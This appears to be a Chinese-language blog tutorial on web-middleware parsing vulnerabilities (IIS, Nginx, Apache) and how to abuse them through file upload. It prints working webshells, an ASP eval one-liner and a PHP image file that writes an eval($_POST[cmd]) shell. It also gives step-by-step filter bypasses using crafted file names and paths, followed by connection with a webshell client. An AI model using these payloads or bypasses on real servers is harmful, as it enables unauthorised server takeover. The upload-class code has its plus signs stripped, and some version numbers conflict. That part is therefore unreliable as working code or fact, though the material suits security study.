解析漏洞——中间件

2020-08-25 16:09:33 浏览数 (1)

目录

  • 解析漏洞简介
  • 解析漏洞
    • 1、IIS 5.x/6.0解析漏洞
      • 文件
        • 1.html
        • aa.asp
        • 11.cer
      • 利用方法
    • 2、IIS 6.0
      • 1.目录解析
      • 2.文件解析
    • 3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞 - bb.jpg
    • 4、Nginx <0.8.03 空字节代码执行漏洞
    • 5、apache解析漏洞

解析漏洞简介

解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。

该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

解析漏洞

常见的解析漏洞有以下几种

代码语言:javascript复制
IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/ 
Nginx <0.8.3畸形解析漏洞
Nginx <8.03 空字节代码执行漏洞
Apache解析漏洞

1、IIS 5.x/6.0解析漏洞

首先,需要找到符合要求的IIS版本,版本号在这区间的IIS,asa、cer 、cdx文件会被当做asp文件执行。

所以当他禁止上传asp文件时,可以上传asa、cer 、cdx文件

这里我用的是IIS 6.0版本

文件

1.html
代码语言:javascript复制
<html>
<head>
  <title>ASP无组件上传类</title>
  <meta http-equiv="content-Type" content="text/html; charset=gb2312">
</head>
<body>
  <form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
    <input type="file" name="upFile"/>
    <input type="submit" value="上传文件"/>
  </form>
</body>
</html>
aa.asp
代码语言:javascript复制
<%@   language="javascript"%> 
<% 
var   self   =   Request.serverVariables("SCRIPT_NAME"); 
if   (Request.serverVariables("REQUEST_METHOD")=="POST") 
{ 
                var   oo   =   new   uploadFile(); 
                oo.path   =   "";                                                 //存放路径,为空表示当前路径,默认为uploadFile 
                oo.named   =   "file";                                                 //命名方式,date表示用日期来命名,file表示用文件名本身,默认为file 
                oo.ext   =   "jpg|gif|cer|asa";                                                                 //允许上传的扩展名,all表示都允许,默认为all 
                oo.over   =   true;                                                                 //当存在相同文件名时是否覆盖,默认为false 
                oo.size   =   1*1024*1024;                                 //最大字节数限制,默认为1G 
                oo.upload(); 
                Response.write(' <script   type="text/javascript"> location.replace("' self '") </script> '); 
} 
 
//ASP无组件上传类 
function   uploadFile() 
{ 
        var   bLen     =   Request.totalBytes; 
        var   bText   =   Request.binaryRead(bLen); 
        var   oo   =   Server.createObject("ADODB.Stream"); 
        oo.mode   =   3; 
                this.path   =   "uploadFile"; 
                this.named   =   "file"; 
                this.ext   =   "jpg|gif|cer|asa"; 
                this.over   =   false; 
                this.size   =   1*1024*1024*1024;                 //1GB 
 
                //文件上传               
                this.upload   =   function   () 
                { 
                                var   o   =   this.getInfo(); 
                                if   (o.size> this.size) 
                                { 
                                                alert("文件过大,不能上传!"); 
                                                return;                               
                                } 
                                var   f   =   this.getFileName(); 
                                var   ext   =   f.replace(/^. ./,""); 
                                if   (this.ext!="all"&&!new   RegExp(this.ext.replace(/,/g," |"),"ig").test(ext)) 
                                { 
                                                alert("目前暂不支持扩展名为   " ext "   的文件上传!"); 
                                                return; 
                                } 
                                if   (this.named=="date") 
                                { 
                                                f   =   new   Date().toLocaleString().replace(/D/g,"")       "."       ext; 
                                } 
 
                                oo.open(); 
                                oo.type   =   1; 
                                oo.write(o.bin); 
                                this.path   =   this.path.replace(/[^/\]$/,"$&/"); 
                                var   fso   =   Server.createObject("Scripting.FileSystemObject"); 
                                if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path))) 
                                { 
                                                fso.createFolder(Server.mapPath(this.path)); 
                                } 
                                try 
                                { 
                                                oo.saveToFile(Server.mapPath(this.path f),this.over?2:1); 
                                                alert("上传成功!"); 
                                } 
                                catch(e) 
                                { 
                                                alert("对不起,此文件已存在!"); 
                                } 
                                oo.close(); 
                                delete(oo); 
 
                } 
 
                //获取二进制和文件字节数 
                this.getInfo   =   function   () 
                { 
                                oo.open(); 
                                oo.type=1; 
                                oo.write(bText); 
                                oo.position   =   0;                                                               
                                oo.type=2; 
                                oo.charset="unicode"; 
                                var   gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1"); 
                                var   sPos=gbCode.indexOf("

") 12; 
                                var   sLength=bLen-(gbCode.substring(0,gbCode.indexOf("
")).length/3)-sPos/3-6; 
                                oo.close(); 
               
                                oo.open(); 
                                oo.type   =   1;               
                                oo.write(bText); 
                                oo.position=sPos/3; 
                                var   bFile=oo.read(sLength); 
                                oo.close(); 
                               
                                return   {   bin:bFile,   size:sLength   }; 
                } 
 
                //获取文件名               
                this.getFileName   =   function   () 
                { 
                                oo.open(); 
                                oo.type   =   2; 
                                oo.writeText(bText); 
                                oo.position   =   0; 
                                oo.charset   =   "gb2312"; 
                                var   fileName   =   oo.readText().match(/filename="(. ?)"/i)[1].split("\").slice(-1)[0]; 
                                oo.close(); 
                                return   fileName; 
                } 
               
                function   alert(msg) 
                { 
                                Response.write(' <script   type="text/javascript"> alert("' msg '"); </script> '); 
                } 
} 
%> 
<html> 
<head> 
    <title> ASP无组件上传类 </title> 
    <meta   http-equiv="content-Type"   content="text/html;   charset=gb2312"> 
</head> 
<body> 
    <form   action=" <%=self%> "   method="post"   enctype="multipart/form-data"   onSubmit="return   (this.upFile.value!='');"> 
        <input   type="file"   name="upFile"/> 
        <input   type="submit"   value="上传文件"/> 
    </form> 
</body> 
</html>
11.cer
代码语言:javascript复制
<%eval request("a")%>

利用方法

这里上传一个cer文件

上传成功后用菜刀连接,这里脚本类型选择ASP(eval)

连接成功

2、IIS 6.0

IIS 6.0 有两个单独的解析漏洞

1.目录解析

/xx.asp/xx.jpg

在网站下名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都会被IIS当作asp文件来解析并执行。

例如有个目录是 abc.asp,那么/abc.asp/1.jpg会被当作asp文件来执行。

这个漏洞很难遇到:

首先,得有个网站管理员取个名字为xx.asp的文件夹;然后,你还得有往这个文件夹上传文件的权限

2.文件解析

11.asp;.jpg

在IIS6.0下,分号后面的内容不被解析,也就是说

11.asp;.jpg 会被服务器当做11.asp执行

所以如果禁止上传asp文件时,可以上传一个11.asp;.jpg 文件

同样,利用前面的文件,开始上传

然后利用菜刀连接

3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为bb.jpg的文件,然后访问bb.jpg/.php,在这个目录下就会生成一句话木马 shell.php

bb.jpg
代码语言:javascript复制
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问bb.jpg文件时,在后面加上./php,这个文件就会被当做php文件执行

因为没找到合适版本的IIS,nginx,所以这里就不演示了

4、Nginx <0.8.03 空字节代码执行漏洞

影响版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

同样适用上面的图片马bb.jpg

在后面加上.php时,bb.jpg会被当做php文件执行。

代码语言:javascript复制
127.0.0.1/bb.jpg.php

虽然看起来和00截断一样,都是,但是作用不一样,至于两者有什么关联,我暂时还没搞明白

5、apache解析漏洞

说到这个漏洞,就得说两个消息

好消息:因为apache官方不承认这是一个漏洞,所以每个版本的apache都会有这个漏洞出现

坏消息:开发员大都知道且认为这是个漏洞,所以会有一定的防御措施

详情可以参考这篇博客

https://blog.csdn.net/weixin_45663905/article/details/107560774

apache其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php, 这时只要文件名里包含.php就会以php文件来执行—— 即使文件名是 test.php.jpg ,jpg在右边,也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样会以 php 方式执行。

0 人点赞